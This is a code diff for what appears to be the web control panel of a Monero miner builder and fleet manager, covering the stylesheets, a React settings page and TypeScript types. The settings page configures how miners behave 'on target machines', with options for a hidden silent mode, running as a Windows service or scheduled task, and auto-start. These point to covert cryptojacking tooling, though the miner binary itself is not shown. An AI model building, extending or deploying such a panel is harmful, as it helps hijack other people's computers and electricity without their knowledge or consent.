display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 0.5rem;
}
.agent-list-name {
display: flex;
align-items: center;
gap: 0.5rem;
font-weight: 600;
}
.agent-list-details {
display: flex;
gap: 1rem;
font-size: 0.8125rem;
color: var(--text-secondary);
margin-bottom: 0.375rem;
}
.agent-list-meta {
display: flex;
gap: 1rem;
font-size: 0.75rem;
color: var(--text-muted);
font-family: 'SF Mono', 'Fira Code', monospace;
}
/* Agent Detail */
.agent-detail h2 {
font-size: 1.25rem;
margin-bottom: 1rem;
}
.agent-detail-grid {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 1rem;
margin-bottom: 1.5rem;
}
.detail-item {
display: flex;
flex-direction: column;
gap: 0.25rem;
}
.detail-label {
font-size: 0.6875rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
}
.detail-value {
font-size: 0.875rem;
font-weight: 500;
}
.detail-value.mono {
font-family: 'SF Mono', 'Fira Code', monospace;
font-size: 0.75rem;
}
.detail-section {
margin-bottom: 1.5rem;
}
.detail-section h3 {
font-size: 0.9375rem;
font-weight: 600;
margin-bottom: 0.75rem;
color: var(--text-secondary);
}
.hashrate-detail-grid {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 1rem;
}
.hashrate-item {
text-align: center;
padding: 0.75rem;
background: var(--bg-secondary);
border-radius: 8px;
}
.hashrate-value {
font-size: 1.125rem;
font-weight: 700;
color: var(--accent-cyan);
}
.shares-detail-grid {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 1rem;
}
.share-stat {
text-align: center;
padding: 0.75rem;
border-radius: 8px;
}
.share-stat.good {
background: rgba(34, 197, 94, 0.1);
}
.share-stat.bad {
background: rgba(239, 68, 68, 0.1);
}
.share-stat.total {
background: var(--bg-secondary);
}
.share-count {
display: block;
font-size: 1.5rem;
font-weight: 700;
}
.share-stat.good .share-count { color: var(--accent-green); }
.share-stat.bad .share-count { color: var(--accent-red); }
.share-stat.total .share-count { color: var(--text-primary); }
.share-label {
font-size: 0.6875rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
}
/* Hashrate Chart */
.hashrate-chart {
display: flex;
align-items: flex-end;
gap: 2px;
height: 120px;
padding: 0.5rem 0;
}
.chart-bar {
flex: 1;
background: linear-gradient(to top, var(--accent-blue), var(--accent-cyan));
border-radius: 2px 2px 0 0;
min-width: 4px;
transition: height 0.3s ease;
cursor: pointer;
opacity: 0.8;
}
.chart-bar:hover {
opacity: 1;
}
/* Builder Page */
.builder-layout {
display: grid;
grid-template-columns: 1fr 360px;
gap: 1.5rem;
align-items: start;
}
@media (max-width: 1024px) {
.builder-layout {
grid-template-columns: 1fr;
}
}
.builder-form h2 {
font-size: 1.25rem;
margin-bottom: 0.5rem;
}
.form-description {
font-size: 0.875rem;
color: var(--text-muted);
margin-bottom: 1.5rem;
line-height: 1.5;
}
.form-section {
margin-bottom: 1.5rem;
padding-bottom: 1.5rem;
border-bottom: 1px solid var(--border-color);
}
.form-section:last-of-type {
border-bottom: none;
}
.form-section h3 {
font-size: 0.9375rem;
font-weight: 600;
color: var(--text-secondary);
margin-bottom: 1rem;
}
.form-group {
margin-bottom: 1rem;
}
.form-row {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 1rem;
}
.form-hint {
display: block;
font-size: 0.75rem;
color: var(--text-muted);
margin-top: 0.25rem;
}
.checkbox-group {
margin-bottom: 0.75rem;
}
.checkbox-label {
display: flex;
align-items: center;
gap: 0.625rem;
font-size: 0.875rem;
cursor: pointer;
color: var(--text-primary);
}
.form-error {
display: flex;
align-items: center;
gap: 0.5rem;
padding: 0.75rem 1rem;
background: rgba(239, 68, 68, 0.1);
border: 1px solid rgba(239, 68, 68, 0.3);
border-radius: 8px;
color: var(--accent-red);
font-size: 0.875rem;
margin-bottom: 1rem;
}
.build-btn {
width: 100%;
justify-content: center;
padding: 0.875rem;
font-size: 1rem;
}
/* Recent Builds */
.recent-builds {
position: sticky;
top: 1.5rem;
}
.recent-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 1rem;
}
.recent-header h2 {
font-size: 1rem;
}
.empty-text {
color: var(--text-muted);
font-size: 0.875rem;
text-align: center;
padding: 2rem;
}
.builds-list {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.build-item {
padding: 0.75rem;
background: var(--bg-secondary);
border-radius: 8px;
}
.build-item-name {
font-weight: 600;
font-size: 0.875rem;
margin-bottom: 0.25rem;
}
.build-item-details {
display: flex;
gap: 0.75rem;
font-size: 0.75rem;
color: var(--text-muted);
}
/* Settings Page */
.settings-grid {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 1.5rem;
}
@media (max-width: 1024px) {
.settings-grid {
grid-template-columns: 1fr;
}
}
.settings-section h2 {
font-size: 1.125rem;
margin-bottom: 0.25rem;
}
.section-desc {
font-size: 0.8125rem;
color: var(--text-muted);
margin-bottom: 1.25rem;
}
.save-message {
padding: 0.75rem 1rem;
border-radius: 8px;
font-size: 0.875rem;
margin-bottom: 1rem;
}
.save-message.success {
background: rgba(34, 197, 94, 0.1);
border: 1px solid rgba(34, 197, 94, 0.3);
color: var(--accent-green);
}
.save-message.error {
background: rgba(239, 68, 68, 0.1);
border: 1px solid rgba(239, 68, 68, 0.3);
color: var(--accent-red);
}
.input.mono {
font-family: 'SF Mono', 'Fira Code', monospace;
font-size: 0.8125rem;
}
.build-success {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.path-display {
display: block;
padding: 0.75rem;
background: var(--bg-secondary);
border-radius: 8px;
font-family: 'SF Mono', 'Fira Code', monospace;
font-size: 0.75rem;
word-break: break-all;
color: var(--accent-cyan);
}
.path-display.small {
margin-top: 0.5rem;
margin-bottom: 0.5rem;
}

View File

@@ -0,0 +1,363 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { ServerConfig } from '../types';
import './Pages.css';
export default function SettingsPage() {
const [config, setConfig] = useState<ServerConfig | null>(null);
const [loading, setLoading] = useState(true);
const [saving, setSaving] = useState(false);
const [saveMessage, setSaveMessage] = useState('');
useEffect(() => {
api.getConfig()
.then(setConfig)
.catch(console.error)
.finally(() => setLoading(false));
}, []);
const updateField = (path: string, value: any) => {
if (!config) return;
const newConfig = { ...config };
const keys = path.split('.');
let obj: any = newConfig;
for (let i = 0; i < keys.length - 1; i++) {
obj = obj[keys[i]];
}
obj[keys[keys.length - 1]] = value;
setConfig(newConfig);
};
const handleSave = async () => {
if (!config) return;
setSaving(true);
setSaveMessage('');
try {
const updated = await api.updateConfig(config);
setConfig(updated);
setSaveMessage('✅ Settings saved successfully');
setTimeout(() => setSaveMessage(''), 3000);
} catch (err: any) {
setSaveMessage(`❌ Failed to save: ${err.message}`);
} finally {
setSaving(false);
}
};
if (loading) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Settings</h1></div>
<div className="card"><p>Loading settings...</p></div>
</div>
);
}
if (!config) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Settings</h1></div>
<div className="card"><p>Failed to load settings</p></div>
</div>
);
}
return (
<div className="page fade-in">
<div className="page-header">
<h1>Settings</h1>
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
{saving ? '💾 Saving...' : '💾 Save Settings'}
</button>
</div>
{saveMessage && (
<div className={`save-message ${saveMessage.includes('✅') ? 'success' : 'error'}`}>
{saveMessage}
</div>
)}
<div className="settings-grid">
{/* Pool Configuration */}
<div className="card settings-section">
<h2>Pool Connection</h2>
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
<div className="form-group">
<label className="label">Pool Host</label>
<input
type="text"
className="input"
value={config.pool.host}
onChange={(e) => updateField('pool.host', e.target.value)}
placeholder="pool.supportxmr.com"
/>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Port</label>
<input
type="number"
className="input"
value={config.pool.port}
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)}
/>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.pool.use_tls}
onChange={(e) => updateField('pool.use_tls', e.target.checked)}
/>
<span>Use TLS/SSL</span>
</label>
</div>
</div>
<div className="form-group">
<label className="label">Password (optional)</label>
<input
type="text"
className="input"
value={config.pool.password}
onChange={(e) => updateField('pool.password', e.target.value)}
placeholder="x"
/>
</div>
</div>
{/* Wallet Configuration */}
<div className="card settings-section">
<h2>Wallet</h2>
<p className="section-desc">Default wallet address for new miners.</p>
<div className="form-group">
<label className="label">XMR Wallet Address</label>
<input
type="text"
className="input mono"
value={config.wallet.address}
onChange={(e) => updateField('wallet.address', e.target.value)}
placeholder="4..."
/>
</div>
<div className="form-group">
<label className="label">Payment ID (optional)</label>
<input
type="text"
className="input mono"
value={config.wallet.payment_id}
onChange={(e) => updateField('wallet.payment_id', e.target.value)}
/>
</div>
</div>
{/* Default Agent Config */}
<div className="card settings-section">
<h2>Default Agent Configuration</h2>
<p className="section-desc">Default settings applied to newly built miners.</p>
<div className="form-row">
<div className="form-group">
<label className="label">Threads</label>
<input
type="number"
className="input"
min={1}
max={128}
value={config.default_agent_config.threads}
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
/>
</div>
<div className="form-group">
<label className="label">CPU Priority</label>
<select
className="select"
value={config.default_agent_config.cpu_priority}
onChange={(e) => updateField('default_agent_config.cpu_priority', e.target.value)}
>
<option value="idle">Idle</option>
<option value="below_normal">Below Normal</option>
<option value="normal">Normal</option>
<option value="above_normal">Above Normal</option>
<option value="high">High</option>
</select>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max CPU Usage (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.default_agent_config.max_cpu_usage_pct}
onChange={(e) => updateField('default_agent_config.max_cpu_usage_pct', parseInt(e.target.value) || 80)}
/>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB)</label>
<input
type="number"
className="input"
min={256}
value={config.default_agent_config.min_free_ram_mb}
onChange={(e) => updateField('default_agent_config.min_free_ram_mb', parseInt(e.target.value) || 1024)}
/>
</div>
</div>
<div className="form-group">
<label className="label">Mining Mode</label>
<select
className="select"
value={config.default_agent_config.mining_mode}
onChange={(e) => updateField('default_agent_config.mining_mode', e.target.value)}
>
<option value="always">Always Mine</option>
<option value="idle">Only When Idle</option>
<option value="scheduled">Scheduled Hours</option>
</select>
</div>
{config.default_agent_config.mining_mode === 'idle' && (
<div className="form-row">
<div className="form-group">
<label className="label">Idle CPU Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.default_agent_config.idle_threshold_pct}
onChange={(e) => updateField('default_agent_config.idle_threshold_pct', parseInt(e.target.value) || 20)}
/>
</div>
<div className="form-group">
<label className="label">Idle Duration (min)</label>
<input
type="number"
className="input"
min={1}
value={config.default_agent_config.idle_duration_minutes}
onChange={(e) => updateField('default_agent_config.idle_duration_minutes', parseInt(e.target.value) || 5)}
/>
</div>
</div>
)}
{config.default_agent_config.mining_mode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<label className="label">Start Time</label>
<input
type="time"
className="input"
value={config.default_agent_config.schedule_start}
onChange={(e) => updateField('default_agent_config.schedule_start', e.target.value)}
/>
</div>
<div className="form-group">
<label className="label">End Time</label>
<input
type="time"
className="input"
value={config.default_agent_config.schedule_end}
onChange={(e) => updateField('default_agent_config.schedule_end', e.target.value)}
/>
</div>
</div>
)}
</div>
{/* Background / Silent Mode */}
<div className="card settings-section">
<h2>Background & Deployment</h2>
<p className="section-desc">How miners behave on target machines.</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.silent_mode}
onChange={(e) => updateField('background.silent_mode', e.target.checked)}
/>
<span>Silent Mode (no console window, runs hidden)</span>
</label>
</div>
<div className="form-group">
<label className="label">Run As</label>
<select
className="select"
value={config.background.run_as}
onChange={(e) => updateField('background.run_as', e.target.value)}
>
<option value="user">Current User</option>
<option value="service">Windows Service</option>
<option value="scheduled">Scheduled Task</option>
</select>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.auto_start}
onChange={(e) => updateField('background.auto_start', e.target.checked)}
/>
<span>Auto-start with Windows</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.minimize_to_tray}
onChange={(e) => updateField('background.minimize_to_tray', e.target.checked)}
/>
<span>Minimize to System Tray</span>
</label>
</div>
</div>
{/* Alerts */}
<div className="card settings-section">
<h2>Alerts</h2>
<p className="section-desc">Configure thresholds for fleet health alerts.</p>
<div className="form-group">
<label className="label">Offline Threshold (minutes)</label>
<input
type="number"
className="input"
min={1}
value={config.alerts.offline_threshold_minutes}
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)}
/>
<span className="form-hint">Alert if agent hasn't reported in this many minutes</span>
</div>
<div className="form-group">
<label className="label">Hashrate Drop Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.alerts.hashrate_drop_threshold_pct}
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)}
/>
<span className="form-hint">Alert if hashrate drops by this percentage</span>
</div>
<div className="form-group">
<label className="label">Rejection Rate Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.alerts.rejection_rate_threshold_pct}
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)}
/>
<span className="form-hint">Alert if share rejection rate exceeds this percentage</span>
</div>
</div>
</div>
</div>
);
}

View File

@@ -0,0 +1,264 @@
:root {
--bg-primary: #0a0e17;
--bg-secondary: #111827;
--bg-card: #1a2235;
--bg-hover: #243049;
--border-color: #2a3a5c;
--text-primary: #e2e8f0;
--text-secondary: #94a3b8;
--text-muted: #64748b;
--accent-green: #22c55e;
--accent-red: #ef4444;
--accent-yellow: #eab308;
--accent-blue: #3b82f6;
--accent-purple: #8b5cf6;
--accent-cyan: #06b6d4;
--online-color: #22c55e;
--offline-color: #64748b;
--error-color: #ef4444;
--shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
background-color: var(--bg-primary);
color: var(--text-primary);
line-height: 1.6;
min-height: 100vh;
}
a {
color: var(--accent-blue);
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
/* Scrollbar styling */
::-webkit-scrollbar {
width: 8px;
height: 8px;
}
::-webkit-scrollbar-track {
background: var(--bg-secondary);
}
::-webkit-scrollbar-thumb {
background: var(--border-color);
border-radius: 4px;
}
::-webkit-scrollbar-thumb:hover {
background: var(--text-muted);
}
/* Utility classes */
.card {
background: var(--bg-card);
border: 1px solid var(--border-color);
border-radius: 12px;
padding: 1.5rem;
box-shadow: var(--shadow);
}
.btn {
display: inline-flex;
align-items: center;
gap: 0.5rem;
padding: 0.625rem 1.25rem;
border: none;
border-radius: 8px;
font-size: 0.875rem;
font-weight: 500;
cursor: pointer;
transition: all 0.2s ease;
}
.btn-primary {
background: var(--accent-blue);
color: white;
}
.btn-primary:hover {
background: #2563eb;
}
.btn-success {
background: var(--accent-green);
color: white;
}
.btn-success:hover {
background: #16a34a;
}
.btn-danger {
background: var(--accent-red);
color: white;
}
.btn-danger:hover {
background: #dc2626;
}
.btn-outline {
background: transparent;
border: 1px solid var(--border-color);
color: var(--text-primary);
}
.btn-outline:hover {
background: var(--bg-hover);
}
/* Form elements */
.input {
width: 100%;
padding: 0.625rem 0.875rem;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 8px;
color: var(--text-primary);
font-size: 0.875rem;
transition: border-color 0.2s ease;
}
.input:focus {
outline: none;
border-color: var(--accent-blue);
}
.select {
width: 100%;
padding: 0.625rem 0.875rem;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 8px;
color: var(--text-primary);
font-size: 0.875rem;
cursor: pointer;
}
.select:focus {
outline: none;
border-color: var(--accent-blue);
}
.checkbox {
width: 1.125rem;
height: 1.125rem;
accent-color: var(--accent-blue);
cursor: pointer;
}
.label {
display: block;
font-size: 0.8125rem;
font-weight: 500;
color: var(--text-secondary);
margin-bottom: 0.375rem;
}
/* Status badges */
.status-badge {
display: inline-flex;
align-items: center;
gap: 0.375rem;
padding: 0.25rem 0.75rem;
border-radius: 9999px;
font-size: 0.75rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.status-badge.online {
background: rgba(34, 197, 94, 0.15);
color: var(--online-color);
}
.status-badge.offline {
background: rgba(100, 116, 139, 0.15);
color: var(--offline-color);
}
.status-badge.error {
background: rgba(239, 68, 68, 0.15);
color: var(--error-color);
}
.status-dot {
width: 0.5rem;
height: 0.5rem;
border-radius: 50%;
display: inline-block;
}
.status-dot.online {
background: var(--online-color);
box-shadow: 0 0 6px var(--online-color);
}
.status-dot.offline {
background: var(--offline-color);
}
.status-dot.error {
background: var(--error-color);
box-shadow: 0 0 6px var(--error-color);
}
/* Grid layouts */
.grid-2 {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 1rem;
}
.grid-3 {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 1rem;
}
.grid-4 {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 1rem;
}
@media (max-width: 1200px) {
.grid-4 { grid-template-columns: repeat(2, 1fr); }
}
@media (max-width: 768px) {
.grid-2, .grid-3, .grid-4 { grid-template-columns: 1fr; }
}
/* Animations */
@keyframes fadeIn {
from { opacity: 0; transform: translateY(10px); }
to { opacity: 1; transform: translateY(0); }
}
.fade-in {
animation: fadeIn 0.3s ease forwards;
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
.pulse {
animation: pulse 2s ease-in-out infinite;
}

View File

@@ -0,0 +1,150 @@
export interface Agent {
id: string;
name: string;
wallet: string;
ip: string;
version: string;
status: 'online' | 'offline' | 'error';
cpu_cores: number;
memory_gb: number;
last_seen: string;
created_at: string;
hashrate_15s: number;
hashrate_1m: number;
hashrate_15m: number;
shares_total: number;
shares_good: number;
shares_bad: number;
cpu_usage_pct: number;
memory_usage_pct: number;
uptime_seconds: number;
}
export interface Share {
id: number;
agent_id: string;
job_id: string;
difficulty: number;
accepted: boolean;
hash: string;
nonce: string;
error?: string;
timestamp: string;
}
export interface HashrateSample {
id: number;
agent_id: string;
hashrate: number;
timestamp: string;
}
export interface BuildRecord {
id: string;
worker_name: string;
server_url: string;
wallet: string;
threads: number;
file_size: number;
file_path: string;
created_at: string;
pool_host: string;
pool_port: number;
pool_tls: boolean;
pool_pass: string;
}
export interface FleetStats {
total_agents: number;
online_agents: number;
total_hashrate: number;
total_shares: number;
accepted_shares: number;
rejected_shares: number;
accept_rate: number;
}
export interface ServerConfig {
port: number;
data_dir: string;
pool: PoolConfig;
wallet: WalletConfig;
default_agent_config: AgentDefaults;
background: BackgroundConfig;
alerts: AlertsConfig;
}
export interface PoolConfig {
host: string;
port: number;
use_tls: boolean;
password: string;
}
export interface WalletConfig {
address: string;
payment_id: string;
}
export interface AgentDefaults {
threads: number;
cpu_priority: string;
max_cpu_usage_pct: number;
min_free_ram_mb: number;
mining_mode: string;
idle_threshold_pct: number;
idle_duration_minutes: number;
schedule_start: string;
schedule_end: string;
}
export interface BackgroundConfig {
silent_mode: boolean;
run_as: string;
auto_start: boolean;
minimize_to_tray: boolean;
}
export interface AlertsConfig {
offline_threshold_minutes: number;
hashrate_drop_threshold_pct: number;
rejection_rate_threshold_pct: number;
}
export interface BuildRequest {
worker_name: string;
server_url: string;
wallet: string;
threads: number;
cpu_priority: string;
mining_mode: string;
silent_mode: boolean;
run_as: string;
auto_start: boolean;
max_cpu_usage_pct: number;
min_free_ram_mb: number;
idle_threshold_pct: number;
idle_duration_minutes: number;
schedule_start: string;
schedule_end: string;
pool_host: string;
pool_port: number;
pool_tls: boolean;
pool_pass: string;
}
export interface BuildResponse {
success: boolean;
build_id?: string;
file_name?: string;
file_path?: string;
relative_path?: string;
file_size?: number;
download_url?: string;
error?: string;
}
export interface WSMessage {
type: string;
payload: any;
}